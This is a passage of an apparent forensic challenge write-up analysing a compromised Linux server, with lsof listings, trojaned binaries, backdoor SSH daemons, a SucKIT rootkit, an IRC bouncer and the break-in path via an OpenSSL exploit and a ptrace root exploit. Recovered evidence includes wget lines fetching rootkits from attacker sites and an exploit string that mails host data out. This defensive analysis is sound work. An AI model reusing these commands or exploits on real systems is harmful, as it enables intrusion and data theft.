init          1  root  cwd    DIR        8,1     4096          2 /

init          1  root  rtd    DIR        8,1     4096          2 /

init          1  root  txt    REG        8,1    26636      45736 /sbin/init

init          1  root  mem    REG        8,1   485171      44656 /lib/ld-2.2.4.so

init          1  root  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so

init          1  root    0u  unix 0xc5a4d560                 417 socket

init          1  root   10u  FIFO        8,1               35794 /dev/initctl

 

---------------------output deleted ------------------------------------------

 

sshd        699  root  cwd    DIR        8,1     4096          2 /

sshd        699  root  rtd    DIR        8,1     4096          2 /

sshd        699  root  txt    REG        8,1   246220      62549 /usr/sbin/sshd

sshd        699  root  mem    REG        8,1   485171      44656 /lib/ld-2.2.4.so

sshd        699  root  mem    REG        8,1    35424      45479 /lib/libpam.so.0.75

sshd        699  root  mem    REG        8,1    65997      44669 /lib/libdl-2.2.4.so

sshd        699  root  mem    REG        8,1    59618      76925 /usr/lib/libz.so.1.1.3

sshd        699  root  mem    REG        8,1   436784      44674 /lib/libnsl-2.2.4.so

sshd        699  root  mem    REG        8,1    47872      44709 /lib/libutil-2.2.4.so

sshd        699  root  mem    REG        8,1   918752      45206 /lib/libcrypto.so.0.9.6b

sshd        699  root  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so

sshd        699  root    0u   CHR        1,3               31876 /dev/null

sshd        699  root    1u   CHR        1,3               31876 /dev/null

sshd        699  root    2u   CHR        1,3               31876 /dev/null

sshd        699  root    3u  IPv4        860                 TCP *:ssh (LISTEN)

 

---------------------output deleted ------------------------------------------

 

smbd        845  root  cwd    DIR        8,1     4096          2 /

smbd        845  root  rtd    DIR        8,1     4096          2 /

smbd        845  root  txt    REG        8,1  1342268      62567 /usr/sbin/smbd

smbd        845  root  mem    REG        8,1   485171      44656 /lib/ld-2.2.4.so

smbd        845  root  mem    REG        8,1     8192      77076 /etc/samba/secrets.tdb

smbd        845  root  mem-r  REG        8,1      696      46922 /var/cache/samba/messages.tdb

smbd        845  root  mem    REG        8,1    65997      44669 /lib/libdl-2.2.4.so

smbd        845  root  mem    REG        8,1   436784      44674 /lib/libnsl-2.2.4.so

smbd        845  root  mem    REG        8,1    35424      45479 /lib/libpam.so.0.75

smbd        845  root  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so

smbd        845  root  mem-r  REG        8,1     8192      46923 /var/cache/samba/connections.tdb

smbd        845  root    0u   CHR        1,3               31876 /dev/null

smbd        845  root    1u   CHR        1,3               31876 /dev/null

smbd        845  root    2u   CHR        1,3               31876 /dev/null

smbd        845  root    3r   CHR        1,9               35500 /dev/urandom

smbd        845  root    4u   REG        8,1     8192      77076 /etc/samba/secrets.tdb

smbd        845  root    6ww  REG        8,1       20      45310 /var/cache/samba/smbd.pid

smbd        845  root    7ur  REG        8,1      696      46922 /var/cache/samba/messages.tdb

smbd        845  root    8ur  REG        8,1     8192      46923 /var/cache/samba/connections.tdb

smbd        845  root    9u  IPv4       1015                 TCP *:netbios-ssn (LISTEN)

smbd        845  root   10r  FIFO        0,0                1016 pipe

smbd        845  root   11w  FIFO        0,0                1016 pipe

smbd        845  root   12w   REG        8,1        0      46920 /var/log/samba/smbd.log (deleted)

 

--------------------------------------------------output deleted ------------------------------------------

 

smbd       3137  root  cwd    DIR        8,1     4096          2 /

smbd       3137  root  rtd    DIR        8,1     4096          2 /

smbd       3137  root  txt    REG        8,1   672527      92030 /usr/bin/smbd -D

smbd       3137  root  mem    REG        8,1   485171      44656 /lib/ld-2.2.4.so

smbd       3137  root  mem    REG        8,1   436784      44674 /lib/libnsl-2.2.4.so

smbd       3137  root  mem    REG        8,1    85115      44667 /lib/libcrypt-2.2.4.so

smbd       3137  root  mem    REG        8,1    47872      44709 /lib/libutil-2.2.4.so

smbd       3137  root  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so

smbd       3137  root    0u   CHR        1,3               31876 /dev/null

smbd       3137  root    1u   CHR        1,3               31876 /dev/null

smbd       3137  root    2u   CHR        1,3               31876 /dev/null

smbd       3137  root    3u   REG        8,1        0       3187 /var/run/httpd.mm.800.sem (deleted)

smbd       3137  root    4u   REG        8,1        0      45309 /var/log/httpd/ssl_scache.sem (deleted)

smbd       3137  root    5u  sock        0,0                3626 can't identify protocol

smbd       3137  root    6u  IPv4       4571                 TCP *:cfinger (LISTEN)

smbd       3137  root   15w   REG        8,1 23335716      46935 /var/log/httpd/error_log (deleted)

smbd       3137  root   16u  IPv4        976                 TCP *:https (LISTEN)

smbd       3137  root   17u  IPv4        977                 TCP *:http (LISTEN)

smbd       3137  root   18w   REG        8,1 22795530      46914 /var/log/httpd/ssl_engine_log (deleted)

smbd       3137  root   19w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)

smbd       3137  root   20w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)

smbd       3137  root   21w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)

smbd       3137  root   22w   REG        8,1        0      46916 /var/log/httpd/ssl_request_log (deleted)

smbd       3137  root   23w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)

(swapd)    3153  root  cwd    DIR        8,1     8192      58884 /usr/bin

(swapd)    3153  root  rtd    DIR        8,1     4096          2 /

(swapd)    3153  root  txt    REG        8,1    18439      92033 /usr/bin/(swapd)

(swapd)    3153  root  mem    REG        8,1   485171      44656 /lib/ld-2.2.4.so

(swapd)    3153  root  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so

(swapd)    3153  root  mem    REG        8,1   261460      44690 /lib/libnss_files-2.2.4.so

(swapd)    3153  root  mem    REG        8,1   355236      44698 /lib/libnss_nisplus-2.2.4.so

(swapd)    3153  root  mem    REG        8,1   436784      44674 /lib/libnsl-2.2.4.so

(swapd)    3153  root  mem    REG        8,1    72296      44687 /lib/libnss_dns-2.2.4.so

(swapd)    3153  root  mem    REG        8,1   261196      44703 /lib/libresolv-2.2.4.so

(swapd)    3153  root    0r   CHR        1,3               31876 /dev/null

(swapd)    3153  root    1u   CHR        3,0               35324 /dev/ttyp0

(swapd)    3153  root    2u   CHR        3,0               35324 /dev/ttyp0

(swapd)    3153  root    3u   REG        8,1        0       3187 /var/run/httpd.mm.800.sem (deleted)

(swapd)    3153  root    4u   REG        8,1        0      45309 /var/log/httpd/ssl_scache.sem (deleted)

(swapd)    3153  root    5u  sock        0,0                3626 can't identify protocol

(swapd)    3153  root    6u  sock        0,0                4602 can't identify protocol

(swapd)    3153  root    7w   REG        8,1       47      77075 /usr/lib/libice.log

(swapd)    3153  root   15w   REG        8,1 23335716      46935 /var/log/httpd/error_log (deleted)

(swapd)    3153  root   16u  IPv4        976                 TCP *:https (LISTEN)

(swapd)    3153  root   17u  IPv4        977                 TCP *:http (LISTEN)

(swapd)    3153  root   18w   REG        8,1 22795530      46914 /var/log/httpd/ssl_engine_log (deleted)

(swapd)    3153  root   19w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)

(swapd)    3153  root   20w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)

(swapd)    3153  root   21w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)

(swapd)    3153  root   22w   REG        8,1        0      46916 /var/log/httpd/ssl_request_log (deleted)

(swapd)    3153  root   23w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)

 

---------------------output deleted ------------------------------------------

 

initd     15119  root  cwd    DIR        8,1     4096      46913 /etc/opt/psybnc

initd     15119  root  rtd    DIR        8,1     4096          2 /

initd     15119  root  txt    REG        8,1   214636      47418 /etc/opt/psybnc/initd

initd     15119  root  mem    REG        8,1   485171      44656 /lib/ld-2.2.4.so

initd     15119  root  mem    REG        8,1   622317      44652 /lib/i686/libm-2.2.4.so

initd     15119  root  mem    REG        8,1   261196      44703 /lib/libresolv-2.2.4.so

initd     15119  root  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so

initd     15119  root  mem    REG        8,1   261460      44690 /lib/libnss_files-2.2.4.so

initd     15119  root  mem    REG        8,1   355236      44698 /lib/libnss_nisplus-2.2.4.so

initd     15119  root  mem    REG        8,1   436784      44674 /lib/libnsl-2.2.4.so

initd     15119  root  mem    REG        8,1    72296      44687 /lib/libnss_dns-2.2.4.so

initd     15119  root    0u   CHR      136,0                   2 /dev/pts/0

initd     15119  root    1u   CHR      136,0                   2 /dev/pts/0

initd     15119  root    2u   CHR      136,0                   2 /dev/pts/0

initd     15119  root    3u  IPv4      15617                 TCP *:65336 (LISTEN)

initd     15119  root    4w   REG        8,1     2622      92097 /etc/opt/psybnc/log/psybnc.log

initd     15119  root    5u  IPv4      15619                 TCP *:65436 (LISTEN)

initd     15119  root    6u  IPv4      16157                 TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED)

initd     15119  root    7w   REG        8,1        6      47416 /etc/opt/psybnc/psybnc.pid

initd     15119  root    8w   REG        8,1        0      92098 /etc/opt/psybnc/log/USER1.TRL

initd     15119  root    9u  IPv4      15909                 TCP 192.168.1.79:1146->199.184.165.133:ircd (ESTABLISHED)

initd     15119  root   10w   REG        8,1        0      92099 /etc/opt/psybnc/log/USER2.TRL

initd     15119  root   12u  IPv4      16191                 TCP 192.168.1.79:1149->64.62.96.42:ircd (ESTABLISHED)

 

---------------------output deleted ------------------------------------------

 

xopen     25239  root  cwd    DIR        8,1     4096      18410 /lib/.x/s

xopen     25239  root  rtd    DIR        8,1     4096          2 /

xopen     25239  root  txt    REG        8,1   217667      18413 /lib/.x/s/xopen

xopen     25239  root  mem    REG        8,1   485171      44656 /lib/ld-2.2.4.so

xopen     25239  root  mem    DEL        0,3              163843 /SYSV46532e4f

xopen     25239  root  mem    REG        8,1   436784      44674 /lib/libnsl-2.2.4.so

xopen     25239  root  mem    REG        8,1    85115      44667 /lib/libcrypt-2.2.4.so

xopen     25239  root  mem    REG        8,1    47872      44709 /lib/libutil-2.2.4.so

xopen     25239  root  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so

xopen     25239  root    0u   CHR        3,3               35327 /dev/ttyp3

xopen     25239  root    1w   REG        8,1     2442      47152 /lib/.x/install.log

xopen     25239  root    2u   CHR        3,3               35327 /dev/ttyp3

xopen     25239  root    3u   REG        8,1        0       3187 /var/run/httpd.mm.800.sem (deleted)

xopen     25239  root    4u   REG        8,1        0      45309 /var/log/httpd/ssl_scache.sem (deleted)

xopen     25239  root    5u  sock        0,0                3626 can't identify protocol

xopen     25239  root    6r  FIFO        0,0                9970 pipe

xopen     25239  root    7w  FIFO        0,0                9970 pipe

xopen     25239  root    8u  IPv4       9972                 UDP *:3049

xopen     25239  root   15w   REG        8,1 23335716      46935 /var/log/httpd/error_log (deleted)

xopen     25239  root   16u  IPv4        976                 TCP *:https (LISTEN)

xopen     25239  root   17u  IPv4        977                 TCP *:http (LISTEN)

xopen     25239  root   18w   REG        8,1 22795530      46914 /var/log/httpd/ssl_engine_log (deleted)

xopen     25239  root   19w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)

xopen     25239  root   20w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)

xopen     25239  root   21w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)

xopen     25239  root   22w   REG        8,1        0      46916 /var/log/httpd/ssl_request_log (deleted)

xopen     25239  root   23w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)

xopen     25241  root  cwd    DIR        8,1     4096          2 /

xopen     25241  root  rtd    DIR        8,1     4096          2 /

xopen     25241  root  txt    REG        8,1   217667      18413 /lib/.x/s/xopen

xopen     25241  root  mem    REG        8,1   485171      44656 /lib/ld-2.2.4.so

xopen     25241  root  mem    REG        8,1   436784      44674 /lib/libnsl-2.2.4.so

xopen     25241  root  mem    REG        8,1    85115      44667 /lib/libcrypt-2.2.4.so

xopen     25241  root  mem    REG        8,1    47872      44709 /lib/libutil-2.2.4.so

xopen     25241  root  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so

xopen     25241  root    0u   CHR        1,3               31876 /dev/null

xopen     25241  root    1u   CHR        1,3               31876 /dev/null

xopen     25241  root    2u   CHR        1,3               31876 /dev/null

xopen     25241  root    3u   REG        8,1        0       3187 /var/run/httpd.mm.800.sem (deleted)

xopen     25241  root    4u   REG        8,1        0      45309 /var/log/httpd/ssl_scache.sem (deleted)

xopen     25241  root    5u  sock        0,0                3626 can't identify protocol

xopen     25241  root    6r  FIFO        0,0                9970 pipe

xopen     25241  root    7w  FIFO        0,0                9970 pipe

xopen     25241  root    8u  IPv4      12302                 TCP *:squid (LISTEN)

xopen     25241  root   15w   REG        8,1 23335716      46935 /var/log/httpd/error_log (deleted)

xopen     25241  root   16u  IPv4        976                 TCP *:https (LISTEN)

xopen     25241  root   17u  IPv4        977                 TCP *:http (LISTEN)

xopen     25241  root   18w   REG        8,1 22795530      46914 /var/log/httpd/ssl_engine_log (deleted)

xopen     25241  root   19w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)

xopen     25241  root   20w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)

xopen     25241  root   21w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)

xopen     25241  root   22w   REG        8,1        0      46916 /var/log/httpd/ssl_request_log (deleted)

xopen     25241  root   23w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)

lsn       25247  root  cwd    DIR        8,1     4096      18410 /lib/.x/s

lsn       25247  root  rtd    DIR        8,1     4096          2 /

lsn       25247  root  mem    REG        8,1   485171      44656 /lib/ld-2.2.4.so

lsn       25247  root  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so

lsn       25247  root  mem    REG        8,1   261460      44690 /lib/libnss_files-2.2.4.so

lsn       25247  root  mem    REG        8,1   355236      44698 /lib/libnss_nisplus-2.2.4.so

lsn       25247  root  mem    REG        8,1   436784      44674 /lib/libnsl-2.2.4.so

lsn       25247  root  mem    REG        8,1    72296      44687 /lib/libnss_dns-2.2.4.so

lsn       25247  root  mem    REG        8,1   261196      44703 /lib/libresolv-2.2.4.so

lsn       25247  root    0u  sock        0,0                9975 can't identify protocol

lsn       25247  root    1w   REG        8,1     1224      18417 /lib/.x/s/mfs

lsn       25247  root    3u   REG        8,1        0       3187 /var/run/httpd.mm.800.sem (deleted)

lsn       25247  root    4u   REG        8,1        0      45309 /var/log/httpd/ssl_scache.sem (deleted)

lsn       25247  root    5u  sock        0,0                3626 can't identify protocol

lsn       25247  root   15w   REG        8,1 23335716      46935 /var/log/httpd/error_log (deleted)

lsn       25247  root   16u  IPv4        976                 TCP *:https (LISTEN)

lsn       25247  root   17u  IPv4        977                 TCP *:http (LISTEN)

lsn       25247  root   18w   REG        8,1 22795530      46914 /var/log/httpd/ssl_engine_log (deleted)

lsn       25247  root   19w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)

lsn       25247  root   20w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)

lsn       25247  root   21w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)

lsn       25247  root   22w   REG        8,1        0      46916 /var/log/httpd/ssl_request_log (deleted)

lsn       25247  root   23w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)

 

 

Answer 6.

 

1.    xopen     25241  root  txt    REG        8,1   217667      18413 /lib/.x/s/xopen      -----backdoor

2.    smbd      3137    root  txt    REG        8,1   672527      92030 /usr/bin/smbd –D  -----backdoor

3.    sshd       699      root  txt    REG        8,1   246220      62549 /usr/sbin/sshd       -----actual system sshd server

 

 

Challenge Question 7.             Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

 

 

Command 1 # strace –ff –o  smbd.dat.strace   /usr/bin/smbd\ -D

Command  2# strings xopen

  Output: detailed analysis of “smbd –D”, lead to conclusion that “smbd –D” was a modified sshd server, containg a string  ICE_4_ALL

Answer 7.

 

Unknown Binaries & Directories

File Type

Attribute

Gid

Uid

Analysis Via ( Secure Shell & Strace )

/usr/bin/smbd -D

ELF 32-bit executable, dynamically linked

755

0/root

0/root

Another backdoor ssh server.Listening on port 2003:cfingerd

/usr/include/icepid.h

ascii text

755

0/root

0/root

the pid of the same

/usr/include/icekey.h

encrypted Data File

755

0/root

0/root

the private key used by it

/usr/include/iceconf.h

ascii text

755

0/root

0/root

the global configuration file

/usr/include/iceseed.h

encrypted Data File

755

0/root

0/root

the seed file

/usr/include/icepid.h

ascii text

755

0/root

0/root

 

 

Command # strace –ff –o  xopen.dat.strace   /lib/.x/s/xopen –q –p 3128  

Command # strings xopen

  Output: detailed analysis of “xopen ”, lead to conclusion that “xopen was a modified sshd server,

Answer 7.

 

Unknown Binaries & Directories

File Type

Attribute

GID

UID

Analysis Via ( Secure Shell & Strace )

/lib/.x/s/pid

ASCII text

644

0/root

0/root

file containig the pid of the ssh server

/lib/.x/s/port

ASCII text

444

0/root

0/root

the port to which the ssh server would bind

/lib/.x/s/r_s

encrypted Data File

600

0/root

0/root

the random seed value for the ssh server

/lib/.x/s/s_h_k

encrypted Data File

777

0/root

0/root

the private key for the ssh server

/lib/.x/s/s_h_k.pub

encrypted Data File

777

0/root

0/root

the public key for the ssh server

/lib/.x/s/sshd_config

config file

777

0/root

0/root

the configuration file for the same

/lib/.x/s/xopen

ELF 32-bit executable, dynamically linked

777

0/root

0/root

The backdoor ssh server in the directory s.trying to make remote connections to ip 194.102.179.142 and 211.172.225.246 and 208.1.60.15 and 209.61.186.231 and 165.229.28.5

/lib/.x/ip

ASCII text

644

0/root

0/root

ip record file

 

Challenge Question 8.             Which system executables (if any) were trojaned and what configuration files did they use?

 

Step 1. ( dead analysis) 

Command: #md5sum –c host79-2003-08-06 | grep –v “OK”

Explanation: The command will invert the match i.e. all lines that don’t have “OK” will be displayed

 

Output:

 

/etc/rc.d/init.d/functions: FAILED

/etc/rc.d/rc.sysinit: FAILED

/etc/mail/statistics: FAILED

/etc/aliases.db: FAILED

/etc/adjtime: FAILED

/etc/samba/secrets.tdb: FAILED

/etc/httpd/conf/httpd.conf: FAILED

/usr/bin/top: FAILED

/bin/netstat: FAILED

/bin/ls: FAILED

/bin/ps: FAILED

/sbin/ifconfig: FAILED

 

 

Steps ( Dead Analysis)

Using “unrm” ( tool available with sleuthkit ), deleted data was recovered & following conclusions were drawn

Command# unrm /mnt/cdrom/sda1.img undeleted_data

Command# strings undeleted_data | grep wget  > recovered_wget

Explanation: The command will invert the match i.e. all lines that don’t have “OK” will be displayed

 

Output: recovered_wget

 

wget geocities.com/mybabywhy/rk.tar.gz

wget geocities.com/gavish19/abc.tgz

wget geocities.com/gavish19/abc.tgz

wget www.lugojteam.as.ro/rootkit.tar

wget www.lugojteam.as.ro/rootkit.tar

wget www.lugojteam.as.ro/rootkit.tar

wget irinel1979.go.ro/mass2.tgz

wget                 (1)  - GNU Wget Manual

wget izolam.net/rc/inst -q

wget izolam.net/rc/kflushd -q

wget izolam.net/rc/adore/adore.c -q

wget izolam.net/rc/adore/ava.c -q

wget izolam.net/rc/adore/dummy.c -q

wget izolam.net/rc/adore/exec.c -q

wget izolam.net/rc/adore/exec-test.c -q

wget izolam.net/rc/adore/libinvisible.c -q

wget izolam.net/rc/adore/libinvisible.h -q

wget izolam.net/rc/adore/cleaner.c -q

wget izolam.net/rc/adore/Makefile -q

wget izolam.net/rc/ssh/sp0 -q

wget izolam.net/rc/ssh/sp0_cfg -q

wget izolam.net/rc/ssh/sp0_key -q

wget izolam.net/rc/ssh/sp0_seed -q

 

 

Answer 8.

+        Trojaned  system binaries

§          /usr/bin/top

§          /bin/netstat

§          /bin/ls

§          /bin/ps

§          /sbin/ifconfig

 

install” script was used to install & configure from rk.tar ( containing all the trojaned system binaries) which was download from wget geocities.com/mybabywhy/rk.tar.gz

 

 

Challenge Question 9.    How and from where the system was likely compromised?

 

Stage 1:  Initial Break-in  

The “/etc/httpd/conf/httpd.conf” md5sum failed, on examination it was found that mod_ssl was installed, lets start the analysis with http. And http/port 80 & https/port 443 shown listening as per lsof  & netstat output.

 

 

Step 1. ( Dead Analysis ) All unknown have user/group apache on “Aug 10”

Command: # find /mnt/sda1 –uid 48 –type f

Output:

 

/var/cache/httpd

/var/run/httpd.mm.14637.sem

/var/run/httpd.mm.14671.sem

/usr/lib/sp0

/usr/lib/sp0_cfg

/usr/lib/sp0_key

/usr/lib/sp0_seed

/lib/.x/hide

/lib/.x/inst

/lib/.x/log

/lib/.x/cl

/lib/.x/.boot

 

 

Step 2.( Live Analysis) identify rpm of apache package

 

Command: # rpm – qa | grep apache|openssl

Output:

 

apache1.3.20-16

openssl-0.9.6b-8

 

-          remote exploit for this version exist >>open-ssl_too_open   http://packetstormsecurity.nl/filedesc/openssl-too-open.tar.html

-          the details for this exploit & corresponding exploit is available at  http://www.lurhq.com/atd.pdf  & http://www.rootwars.org/papers/security/securitypapers/openssl.txt

Stage 2 : Privilege escalation through local root exploit

The search for suid files return interesting unknown binary in “k” that is a ptrace local root exploit available for “Ptrace process” ,Through /dev/shm/k (binary executable)

Command: # strings /dev/shm/k

Output:

/lib/ld-linux.so.2

__gmon_start__

libc.so.6

geteuid

getpid

memcpy

execl

perror

readlink

__cxa_finalize

system

socket

alarm

fprintf

kill

__deregister_frame_info

initgroups

setgid

signal

fork

ptrace

stderr

__errno_location

exit

_IO_stdin_used

__libc_start_main

setuid

__register_frame_info

__xstat

GLIBC_2.1.3

GLIBC_2.0

PTRh

(Ph

/proc/self/exe

[-] Unable to read /proc/self/exe

[-] Unable to write shellcode

[+] Signal caught

[-] Unable to read registers

[+] Shellcode placed at 0x%08lx

[+] Now wait for suid shell...

[-] Unable to detach from victim

[-] Fatal error

[-] Unable to attach

[+] Attached to %d

[-] Unable to setup syscall trace

[+] Waiting for signal

[-] Unable to stat myself

root

/bin/sh

[-] Unable to spawn shell

cat ip|mail -s 'moka' newptraceuser@yahoo.com >>/dev/null 2>>/dev/null

clear

[-] Unable to fork

 

 

 

 

Answer 9.

Stage 1.

§         The attacker used the apache ( package apache1.3.20-16) with ssl module (package = openssl-0.9.6b-8) vulnerability to run remote exploit to get a shell on the system

 

§         the attackers get the privileges of apache user with uid of 48  that’s been correlated by presence of lot of unknown binaries with uid & gid of 48 i.e. apache user

 

Stage 2.

 

§         The attacker used the local root exploit for ptrace ( /dev/shm/k ) for privilege escalation, leading to a shell with root privileges.

 

 

Bonus Question: What nationality do you believe the attacker(s) to be, and why?

 

Answer to Bonus Question.

§          Whois output of IP Address 213.154.118.200, suggests the intruder is from Romania.

§          There were several urls found while recovering deleted data having .ro extentions.

 

 

Additional Finding Summary

 

Unknown Binaries & Directories

File Type

Attribute

GID

UID

Analysis Via ( Secure Shell & Strace )

 

 

 

 

 

 

/lib/.x

directory

755

0/root

0/root

Directory containing the suckit root kit setup and directory s

/lib/.x/.boot

bash script

755

48/apache

48/apache

Initialization Script

/lib/.x/cl

ELF 32-bit executable, dynamically linked

755

48/apache

48/apache

Log Cleaning script

/lib/.x/hide.log

ASCII text

755

0/root

0/root

log file for suck it

/lib/.x/inst

bash script

 

48/apache

48/apache

the suckit installation creator

/lib/.x/install.log

ASCII text

755

0/root

0/root

records suckit installation

/lib/.x/ip

ASCII text

644

0/root

0/root

ip record file

/lib/.x/log

ELF 32-bit executable, dynamically linked

755

48/apache

48/apache

used to connect to backdoor initiated by suck it root kit

/lib/.x/sk

ELF 32-bit executable, dynamically linked

755

0/root

0/root

suckit installer

/lib/.x/s

directory

777

0/root

0/root

Directory containing files for a ssh server

/lib/.x/s/lsn

ELF 32-bit executable, dynamically linked

777

0/root

0/root

sniffer binary

/lib/.x/s/mfs

ASCII text

644

0/root

0/root

log file for lsn

/lib/.x/s/pid

ASCII text

644

0/root

0/root

file containig the pid of the ssh server

/lib/.x/s/port

ASCII text

444

0/root

0/root

the port to which the ssh server would bind

/lib/.x/s/r_s

encrypted Data File

600

0/root

0/root

the random seed value for the ssh server

/lib/.x/s/s_h_k

encrypted Data File

777

0/root

0/root

the private key for the ssh server

/lib/.x/s/s_h_k.pub

encrypted Data File

777

0/root

0/root

the public key for the ssh server

/lib/.x/s/sshd_config

config file

777

0/root

0/root

the configuration file for the same

/lib/.x/s/xopen

ELF 32-bit executable, dynamically linked

777

0/root

0/root

backdoor sshd server in the directory /lib/.x/s trying to make remote connections to IPs

194.102.179.142

211.172.225.246

208.1.60.15

209.61.186.231

165.229.28.5

/usr/bin/sense

Perl Script

 

 

 

Sorts the output from lin-sniffer for telent password etc.

//usr/bin/sl2

Executable

 

 

 

Denial of service tool with spoofing capabilities.

/etc/opt/psybnc/

directory

775

0/root

0/root

the directory containg the configuration and binaries for the IRC bouncer

/etc/opt/psybnc/psybnc.conf

config file

600

0/root

0/root

the configuration file

/etc/opt/psybnc/psybnc.pid

ascii text

600

0/root

0/root

the pid with which the process runs

/etc/opt/psybnc/initd

ELF 32-bit executable, dynamically linked

755

0/root

0/root

the actual psybnc binary that runs as the process accepting connections on port 65336

/etc/opt/psybnc/log/psybnc.log

ascii text

600

0/root

0/root

the log file for the same

/etc/opt/psybnc/motd/USER1.MOTD.OLD

ascii text

600

0/root

0/root

the results of a successful test

/etc/opt/psybnc/motd/USER2.MOTD.OLD

ascii text

600

0/root

0/root

the results of a successful test

 

 

 

 

 

 

/usr/bin/smbd -D

ELF 32-bit executable, dynamically linked

755

0/root

0/root

Another backdoor ssh server.Listening on port 2003:cfingerd

/usr/include/icepid.h

ascii text

 

 

 

the pid of the same

/usr/include/icekey.h

encrypted Data File

 

 

 

the private key used by it

/usr/include/iceconf.h

ascii text

 

 

 

the global configuration file

/usr/include/iceseed.h

encrypted Data File

 

 

 

the seed file

/usr/include/icepid.h

ascii text

 

 

 

 

 

 

 

 

 

 

/usr/bin/(swapd)

ELF 32-bit executable, dynamically linked

755

0/root

0/root

A sniffer executable. Compiled from source kde.c from rk.tar

/usr/lib/libice.log

 

 

 

 

The log file created and logged to by (swapd)

 

 

 

 

 

 

/usr/lib/sp0

ELF 32-bit executable, dynamically linked

700

48/apache

48/apache

Another backdoor ssh server but doesn’t execute.

/usr/lib/sp0_cfg

config file

644

48/apache

48/apache

Configuration file used by the same

/usr/lib/sp0_seed

encrypted Data File

644

48/apache

48/apache

the seed file

/usr/lib/sp0_key

encrypted Data File

644

48/apache

48/apache

the private key

 

 

 

 

 

 

/dev/shm/k

ELF 32-bit executable, dynamically linked

 

0/root

0/root

the ptrace local root exploit for linux kernels 2.2.x to 2.4.x

 

1. References

§         Building a Security Audit Toolkit

            http://netadmintools.com/part279.html

§         The Honeynet Project

            http://project.honeynet.org/tools/index.html